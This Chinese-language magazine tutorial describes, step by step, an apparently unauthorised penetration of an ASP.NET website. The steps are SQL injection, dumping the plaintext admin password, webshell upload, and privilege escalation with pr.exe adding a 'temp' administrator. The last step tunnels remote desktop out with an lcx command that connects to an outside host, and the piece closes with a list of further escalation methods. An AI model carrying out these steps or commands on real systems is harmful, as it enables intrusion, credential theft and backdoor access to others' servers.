實例:Public權(quán)限滲透某asp.net網(wǎng)站
原創(chuàng)【51CTO.com 獨家特稿】本文知識要點:
(1)使用Google搜索管理后臺真實地址
(2)LCX端口轉(zhuǎn)發(fā)程序突破內(nèi)網(wǎng)限制
(3)Asp.net類網(wǎng)站的滲透思路
對于數(shù)據(jù)庫用戶權(quán)限為Public的網(wǎng)站滲透相對較難,設(shè)置為這種權(quán)限,多數(shù)具有較高的安全意識,在通過SQL注入點獲取是Public權(quán)限時,需要多方分析,嘗試各種方法進行滲透測試,但不管如何,存在SQL注入點就是一種突破,通過SQL注入能夠獲取網(wǎng)站數(shù)據(jù)庫的一些信息,通過這些信息再次進行滲透和提權(quán)就相對會容易一些。尤其是在獲得網(wǎng)站后臺管理員權(quán)限的情況下,通過文件包含、數(shù)據(jù)庫備份、圖片上傳、文件上傳、插入一句話等來獲取Webshell。下面就以一個實際案例來分析如何利用Public權(quán)限滲透某asp.net網(wǎng)站。
1.尋找SQL注入點
通過查看網(wǎng)站的各個頁面,尋找有參數(shù)傳入的頁面,在有參數(shù)的頁面中進行出錯判斷,如圖1所示,在傳出參數(shù)typeid=1后面附加"'"使其自動爆出錯誤,通過該錯誤信息可以知道數(shù)據(jù)庫為MSSQL。
圖1 獲取SQL注入點
2.使用各種SQL注入工具進行信息收集和數(shù)據(jù)猜測
對于Asp.net類型網(wǎng)站除了一些大型商業(yè)專用滲透工具外,還有一些免費的工具,例如Pangolin、Havij、Domain3.5、HDSI2.5以及啊D等SQL注入工具。在本次滲透過程中先后使用了Pangolin、Havij,如圖2所示,使用Havij1.2免費版本測試效果并不好,未能獲取更多的信息。
圖2 使用Havij進行SQL注入滲透測試#p#
技巧:
(1)在發(fā)現(xiàn)SQL注入點后一般先使用一些自動測試工具進行測試,在測試時可以依次使用多個工具進行測試,雖然這些SQL注入工具功能大致相同,但在某些場景下,使用有些工具能夠成功,然而使用某些工具就不一定成功。
(2)先工具后手工,事后進行總結(jié)加深對滲透到理解,并將有用的技巧收集整理。
3.使用Domain3.5檢測到目標(biāo)網(wǎng)站存在SQL注入點
打開Domain3.5 SQL注入工具,單擊"SQL注入"-"SQL注入猜解檢測",將剛才測試所出錯前的正常頁面地址復(fù)制到"注入點"中,然后單擊"開始檢測",如果該注入點能夠進行SQL注入,則會在檢測信息中顯示詳細(xì)信息,如圖3所示,獲取該數(shù)據(jù)庫是MSSQL,當(dāng)前數(shù)據(jù)庫以及當(dāng)前權(quán)限等信息。
圖3 檢測SQL注入點
4.猜解數(shù)據(jù)庫中的表和表中的數(shù)據(jù)
這一步是SQL注入檢測中最重要的一步,如果能夠成功,就意味中可以查看和修改數(shù)據(jù)庫中的數(shù)據(jù),單擊"猜解表名"猜解數(shù)據(jù)庫中一共有多少表,在本例中一共有33個表,然后查看數(shù)據(jù)庫表名稱來判斷哪個表是保存有管理員用戶名和密碼的,確定并選中,然后單擊"猜解列名"來獲取表中的具體列名,然后選擇需要查看內(nèi)容的列名,最后單擊"猜解內(nèi)容"來獲取其相應(yīng)信息,如圖4所示,獲取了管理員的密碼,而且管理員的密碼是明文的未加密!
圖4 獲取數(shù)據(jù)內(nèi)容#p#
5.掃描和獲取后臺地址
在Domain3.5中單擊"管理入口掃描"來獲取管理入口的具體地址,在本例中通過Domain3.5未能獲取管理后臺地址,這時候就需要動用其他方法,一個比較好的方法就是利用搜索引擎,使用"site:somesite.com 登錄"或者"site:somesite.com 系統(tǒng)管理"等來搜索后臺地址,如圖5所示,獲取了后臺的詳細(xì)地址。
圖5 獲取后臺登陸地址
6.登錄測試和驗證
直接打開從搜索引擎中獲取的后臺地址,如果能夠正常訪問說明該頁面可能是真正的后臺地址,如圖6所示,該頁面能夠正常訪問,且通過頁面信息可以判定該地址就是管理后臺地址,輸入剛才獲取的用戶名和密碼進行測試, 登錄成功,如圖7所示。
圖6 后臺地址測試和驗證#p#
圖7 后臺登錄成功
7.尋找、測試和獲取Webshell
(1)獲得圖片上傳頁面
當(dāng)使用SQL注入工具或者手工注入獲得管理員的用戶名和密碼成功登錄系統(tǒng)后,需要查看系統(tǒng)信息發(fā)布等模塊,查看是否存在文件上傳部分,如果沒有,則嘗試插入一句話進行后臺備份等操作。在本次滲透過程中通過查看后臺的各個功能模塊,發(fā)現(xiàn)有四個信息添加模塊,在新建會員模塊中存在上傳圖片模塊,單擊鏈接進入新建會員模塊,如圖8所示,在圖片中直接選擇一個asp.net的Webshell,然后上傳。上傳結(jié)果顯示成功,如圖9所示。
圖8 獲得文件上傳模塊
圖9 文件上傳成功#p#
(2)查看文件上傳的真實地址
雖然頁面顯示文件上傳成功,但還需要找到文件上傳的真正地址,核對上傳的文件是否更改了后綴,新建會員后,需要從前臺來查看剛才添加到效果,如圖10所示,找到會員列表,然后尋找最后添加到記錄。
圖10 通過前臺查看上傳圖片
對于網(wǎng)站CMS系統(tǒng)處理新添加記錄有兩種結(jié)果,一種是按照最新時間排序,另外一種是降序,因此在翻看記錄時,需要分析數(shù)據(jù)添加的規(guī)律,在本例中就是按照時間升序排序,即最早添加的最先顯示,因此需要跳轉(zhuǎn)到頁碼最大處才能看到剛才添加的記錄,如圖11所示,右鍵選中圖片,查看圖片屬性,從而獲取該圖片的真實地址,上傳模塊未對上傳文件后綴等進行限制,上傳文件一律按照時間(年月日分秒)+原真實上傳文件名稱進行命名。
圖11 獲取圖片的真實地址#p#
(3)獲取Webshell
在IE瀏覽器中打開上傳Webshell的真實地址,如圖12所示,輸入Webshell的密碼后,出現(xiàn)熟悉的Asp.net Webshell界面。
圖12 成功獲得該網(wǎng)站的Webshell
8.嘗試提權(quán)
通過Webshell查看該服務(wù)器安裝程序和網(wǎng)站文件等,然后利用掌握的信息進行提權(quán),在本次滲透過程中發(fā)現(xiàn)該服務(wù)器為內(nèi)網(wǎng)服務(wù)器,通過防火墻映射到外網(wǎng),對外僅僅開放了80端口,在網(wǎng)絡(luò)地址中未配置DNS,系統(tǒng)中無可提權(quán)的其他可用信息。因此首先嘗試使用pr進行提權(quán)。如圖13所示,先將pr程序上傳到回收站中,然后分別執(zhí)行"E:\RECYCLER\pr.exe ", 參數(shù)"net user temp temp2005 /add",參數(shù)"net localgroup administrator temp /add"。執(zhí)行結(jié)果顯示"命令成功完成",表示pr提權(quán)成功。
圖13使用pr提權(quán)#p#
9.登錄遠(yuǎn)程桌面
(1)查看添加到用戶
在Webshell中通過CMDShell查看剛才添加的用戶是否成功,如圖14所示,可以看到系統(tǒng)已經(jīng)添加了一個temp的管理員用戶。
圖14 查看添加到用戶
(2)使用lcx進行端口轉(zhuǎn)發(fā)
在具有獨立IP的計算機上執(zhí)行"lcx -listen 51 2008",意思是監(jiān)聽51端口,并將51端口映射到本機的2008端口。
圖15 使用lcx進行端口監(jiān)聽#p#
在Webshell中執(zhí)行"E:\RECYCLER\lcx.exe",參數(shù)設(shè)置為"-slave 202.XXX.XXX.XXX 51 172.30.11.81 3389",意思是連接IP地址202.XXX.XXX.XXX的51端口,將服務(wù)器內(nèi)網(wǎng)地址為172.30.11.81的3389端口轉(zhuǎn)發(fā)到202.XXX.XXX.XXX的51端口上。
圖16使用lcx進行端口轉(zhuǎn)發(fā)
(3)連接遠(yuǎn)程桌面
在監(jiān)聽51端口的計算機中打開遠(yuǎn)程終端登錄界面,然后輸入"127.0.0.1:2008"進行登錄,輸入剛才添加到temp用戶和密碼,如圖17所示,成功登錄系統(tǒng),從而獲得服務(wù)器權(quán)限,成功滲透該服務(wù)器。
圖17成功進入系統(tǒng)
小結(jié)
1.對于Asp.net的滲透思路
(1)掃描目標(biāo)網(wǎng)站,獲取SQL注入點或者其它漏洞。掃描目標(biāo)網(wǎng)站可以使用一些商業(yè)掃描軟件,例如wvs,appscan,webinspect,jsky,極光等。通過掃描獲取網(wǎng)站程序漏洞和配置漏洞。在掃描結(jié)果中有關(guān)單獨的上傳頁面、上傳組件(各種WebEditor)、網(wǎng)站壓縮文件、bak備份文件的利用是重點。
(2)利用掃描結(jié)果信息進行滲透測試。
(3)獲取Webshell。獲取Webshell較多的方法是通過上傳,以及各類Web編輯器的漏洞,還有某一類程序的漏洞,當(dāng)然這些漏洞的利用需要一些輔助條件。某些網(wǎng)站在被入侵后,入侵者會將整個網(wǎng)站進行打包,下載完畢后未刪除,如果能夠成功將其下載,對于分析漏洞和獲取Webshell很有幫助。
(4)對服務(wù)器進行提權(quán)。對服務(wù)器提權(quán)主要是看服務(wù)器上安裝有哪些程序,然后采取相對應(yīng)的提權(quán)方法,例如讀取VNC密碼,讀取Radmin密碼,下載Pcanywhere密碼保存文件,利用Serv-u直接添加用戶,利用系統(tǒng)未安裝補丁程序進行本地提權(quán),編寫autorun.inf病毒,導(dǎo)出腳本到啟動添加用戶,MSSQL SA權(quán)限直接添加系統(tǒng)用戶,Mysql udf函數(shù)提權(quán)等。
2.在擁有Webshell情況下,利用LCX端口轉(zhuǎn)發(fā)實現(xiàn)內(nèi)網(wǎng)突破效果還是不錯的。
3.在使用SQL注入工具掃描不出后臺的情況下,可以嘗試通過Google搜索來獲取后臺真實地址。
【51CTO.com獨家特稿,非經(jīng)授權(quán)謝絕轉(zhuǎn)載!合作媒體轉(zhuǎn)載請注明原文出處及出處!】
【編輯推薦】